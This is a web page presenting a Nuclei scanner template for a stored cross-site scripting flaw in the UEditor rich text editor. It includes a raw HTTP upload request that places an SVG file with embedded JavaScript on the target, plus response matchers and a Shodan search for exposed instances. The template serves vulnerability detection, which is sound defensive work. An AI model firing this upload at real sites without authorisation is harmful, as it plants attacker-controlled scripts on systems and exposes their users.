ueditor - Cross Site Scripting

ID: ueditor-xss

Severity: high

Author: pwnhxl

Tags: ueditor,xss,intrusive

Description

The latest vulnerability version of UEditor, a rich text web editor, allows for XML file uploads which can lead to stored cross-site scripting (XSS) attacks.

YAML Source

id: ueditor-xss

info:
  name: ueditor - Cross Site Scripting
  author: pwnhxl
  severity: high
  description: |
    The latest vulnerability version of UEditor, a rich text web editor, allows for XML file uploads which can lead to stored cross-site scripting (XSS) attacks.
  reference:
    - https://blog.csdn.net/weixin_50464560/article/details/124803185
    - https://github.com/fex-team/ueditor/releases/tag/v1.4.3.3
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"ueditor"
  tags: ueditor,xss,intrusive
variables:
  randstring: "{{to_lower(rand_base(16))}}"

http:
  - raw:
      - |
        POST /ueditor/php/controller.php?action=uploadfile HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstring}}

        ------WebKitFormBoundary{{randstring}}
        Content-Disposition: form-data; name="upfile"; filename="test.xml"
        Content-Type: application/vnd.ms-excel

        <?xml version="1.0" standalone="no"?>
        <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
        <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
           <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
           <script type="text/javascript">
              alert(document.domain);
           </script>
        </svg>
        ------WebKitFormBoundary{{randstring}}--

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'state":"SUCCESS'
          - '.xml","title'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: file_path
        part: body
        group: 1
        regex:
          - 'url":"(.*)","title'
# digest: 4a0a00473045022100ab4c91c64c544e6a54def1b72d872f573bd793db144c092b2eef0936b77b091d02200819e80f47c54661738736eef74c76f528951cf9d5cc83156743edcabaf2f1d0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/ueditor/ueditor-xss.yaml"

View on Github